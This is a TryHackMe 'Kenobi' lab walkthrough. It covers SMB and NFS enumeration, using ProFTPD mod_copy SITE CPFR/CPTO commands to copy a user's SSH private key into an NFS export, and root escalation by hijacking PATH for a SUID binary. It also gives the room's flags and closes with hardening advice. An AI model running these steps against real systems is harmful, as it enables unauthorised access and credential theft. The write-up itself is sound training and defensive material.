TryHackMe: Kenobi — Writeup

Author: lakshmikanthan k

Summary: Walkthrough on exploiting a vulnerable Linux machine (TryHackMe: Kenobi). This writeup reproduces the steps, screenshots and findings from the supplied material: enumeration with RustScan/Nmap, SMB enumeration, NFS enumeration, exploiting ProFTPD (mod_copy) for initial access, and SUID + PATH manipulation for privilege escalation. All answers, flags and notes are included.

Task 1 — Deploy the vulnerable machine

Objective: Deploy the Kenobi machine and discover running services.

Approach: I used RustScan (fast port discovery) and piped results to Nmap for service & version enumeration. RustScan is a modern, fast port scanner. The Nmap-equivalent command used is shown below.

Nmap equivalent command used:

nmap -vvv -p- -Pn -sV -oN nmap_output.txt 10.10.130.183

Answer (How many ports are open?): 7

(Notes: In the room, ports >2100 were ignored as RPC-related; port 111/rpcbind was present which is useful for NFS enumeration.)

Task 2 — Enumerating Samba (SMB) for shares

Objective: Enumerate SMB shares and look for interesting files.

Tools & Commands:

nmap -p 445 --script=smb-enum-shares,smb-enum-users 10.10.130.183
smbclient -L \\10.10.130.183   # to list shares
smbclient \\10.10.130.183\anonymous    # connect to anonymous share
smbget -R smb://10.10.130.183/anonymous  # download contents

Findings: Nmap reported SMB running. There was an anonymous share available with READ/WRITE permissions.

Answer (How many shares have been found?): 3

When connected and listing the files on the anonymous share, the visible file was: log.txt

(I downloaded the share contents using smbget and inspected log.txt.)

Important details discovered in log.txt:

• An SSH key had been generated on the target for user kenobi.
• The file contained configuration information for the FTP service; it also showed that some FTP write commands were disabled in the server config (block WRITE and CHMOD in certain contexts).

Answer (What port is FTP running on?): 21

NFS enumeration

Objective: Check rpcbind/NFS to see which remote mounts are exported.

Command used:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.130.183

Findings: The remote machine had exported /var via NFS.

Answer (What mount can we see?): /var

Task 3 — Gain initial access with ProFTPD (mod_copy)

Objective: Use a known vulnerability in ProFTPD (version 1.3.5) to copy Kenobi’s SSH private key into a location we can reach (the NFS-exported /var), then SSH in as kenobi.

Banner grab (Netcat) confirmed ProFTPD version: 1.3.5

Searchsploit results: 3 exploits were present for ProFTPD 1.3.5 (all related to mod_copy / SITE CPFR / SITE CPTO usage).

Exploit approach: The ProFTPD mod_copy module supports the SITE CPFR and SITE CPTO commands which can copy files on the server. Using the module we copy the kenobi private key (which was found referenced in log.txt) to /var/tmp (or another writable location within /var), then mount the NFS /var export locally and retrieve the key.

Steps (high level):

1. Use the ProFTPD mod_copy technique (SITE CPFR/SITE CPTO) to copy /home/kenobi/.ssh/id_rsa (or whichever key was present) to /var/tmp/kenobi_id_rsa.
2. Locally mount the remote /var via NFS and download /var/tmp/kenobi_id_rsa.
3. chmod 600 kenobi_id_rsa and ssh -i kenobi_id_rsa kenobi@10.10.130.183 to obtain a shell as kenobi.

Answer (How many exploits are there for the ProFTPd running?): 3

Answer (Kenobi’s user flag /home/kenobi/user.txt): d0b0f3f53b6caa532a83915e19224899

(User access obtained by copying the SSH key via mod_copy, mounting NFS, and SSH-ing in.)

Task 4 — Privilege Escalation with PATH variable manipulation (SUID binary)

Objective: Escalate from user kenobi to root by abusing a SUID-owned binary with insecure invocation of external utilities.

Get letchupkt’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Methodology & Findings:

• Searched for SUID-root binaries with:

find / -type f -user root -perm -4000 -ls 2>/dev/null

• Found an odd binary /usr/bin/menu that was owned by root and had the SUID bit set.
• Executing /usr/bin/menu as kenobi presented a small menu with 3 options.
• Using strings /usr/bin/menu revealed that the binary invokes curl without an absolute path (just curl).
• Because menu invokes curl unqualified, the PATH environment variable is relied upon to find curl. If an attacker places a malicious curl earlier in PATH, that will be executed in the context of the SUID binary and thus run with root privileges.

Exploit steps (short):

1. Create a file named curl containing a shell binary (or a small script that spawns a shell) — for example, copy /bin/sh into a file named curl or place a small wrapper that executes /bin/sh.
2. chmod +x curl to make it executable.
3. Place it in a directory under your control, e.g. /tmp/mybin/curl.
4. Prepend that directory to PATH: export PATH=/tmp/mybin:$PATH.
5. Run /usr/bin/menu. When the binary calls curl, it will resolve to /tmp/mybin/curl and a root shell will spawn because /usr/bin/menu is SUID-root.

Answer (What file looks particularly out of the ordinary?): /usr/bin/menu

Answer (How many options appear when running the binary?): 3

Answer (Root flag /root/root.txt): 177b3cd8562289f37382721c28381f02

Full Commands / Useful snippets (condensed)

RustScan/Nmap scan:

rustscan -a 10.10.130.183 -b 500 -t 2000 -- -sV -oN nmap_output.txt
# or use the nmap equivalent directly:
nmap -vvv -p- -Pn -sV -oN nmap_output.txt 10.10.130.183

SMB enumeration & download:

nmap -p 445 --script=smb-enum-shares,smb-enum-users 10.10.130.183
smbclient \\10.10.130.183\anonymous
smbget -R smb://10.10.130.183/anonymous

NFS enumeration:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.130.183
showmount -e 10.10.130.183
mount -t nfs 10.10.130.183:/var ./kenobiNFS

ProFTPD mod_copy (conceptual):

# Example remote interaction (conceptual):
# SITE CPFR /home/kenobi/.ssh/id_rsa
# SITE CPTO /var/tmp/kenobi_id_rsa

SSH using retrieved key:

chmod 600 kenobi_id_rsa
ssh -i kenobi_id_rsa kenobi@10.10.130.183

Find SUID binaries & escalate:

find / -type f -user root -perm -4000 -ls 2>/dev/null
strings /usr/bin/menu | less
# create local malicious 'curl'
cp /bin/sh /tmp/mybin/curl
chmod +x /tmp/mybin/curl
export PATH=/tmp/mybin:$PATH
/usr/bin/menu   # triggers our curl (root shell)

Flags (collected)

• User flag (/home/kenobi/user.txt): d0b0f3f53b6caa532a83915e19224899
• Root flag (/root/root.txt): 177b3cd8562289f37382721c28381f02

Notes, tips & mitigation suggestions

Mitigations & Hardening:

• Disable unnecessary services (e.g., FTP if unused) or keep them updated. ProFTPd had a known vulnerable module mod_copy — avoid enabling risky modules and keep software patched.
• Avoid exporting sensitive directories over NFS, or restrict NFS mounts by IP and use proper permissions.
• Disable anonymous SMB shares or restrict permissions; never place sensitive keys or secrets in publicly writable shares.
• SUID binaries should be minimized. If SUID binaries call external utilities, calls must use absolute paths and drop privileges when possible. Validate environment variables (like PATH) and sanitize them when running code with elevated privileges.
• Use modern alternatives (SFTP with chroot or well-configured SSH) instead of unauthenticated FTP.

For red-teamers / learners: Always run these exercises in safe, legal environments (CTFs / lab machines / owned infrastructure). Do not attempt to exploit systems you do not own or have permission to test.

Contact / Attribution

Author Letchu (letchupkt)

• GitHub: https://github.com/letchupkt
• Linkedin : https://linkedin.com/in/lakshmikanthank
• Portfolio: https://letchupkt.vgrow.tech

Happy Hacking — Letchupkt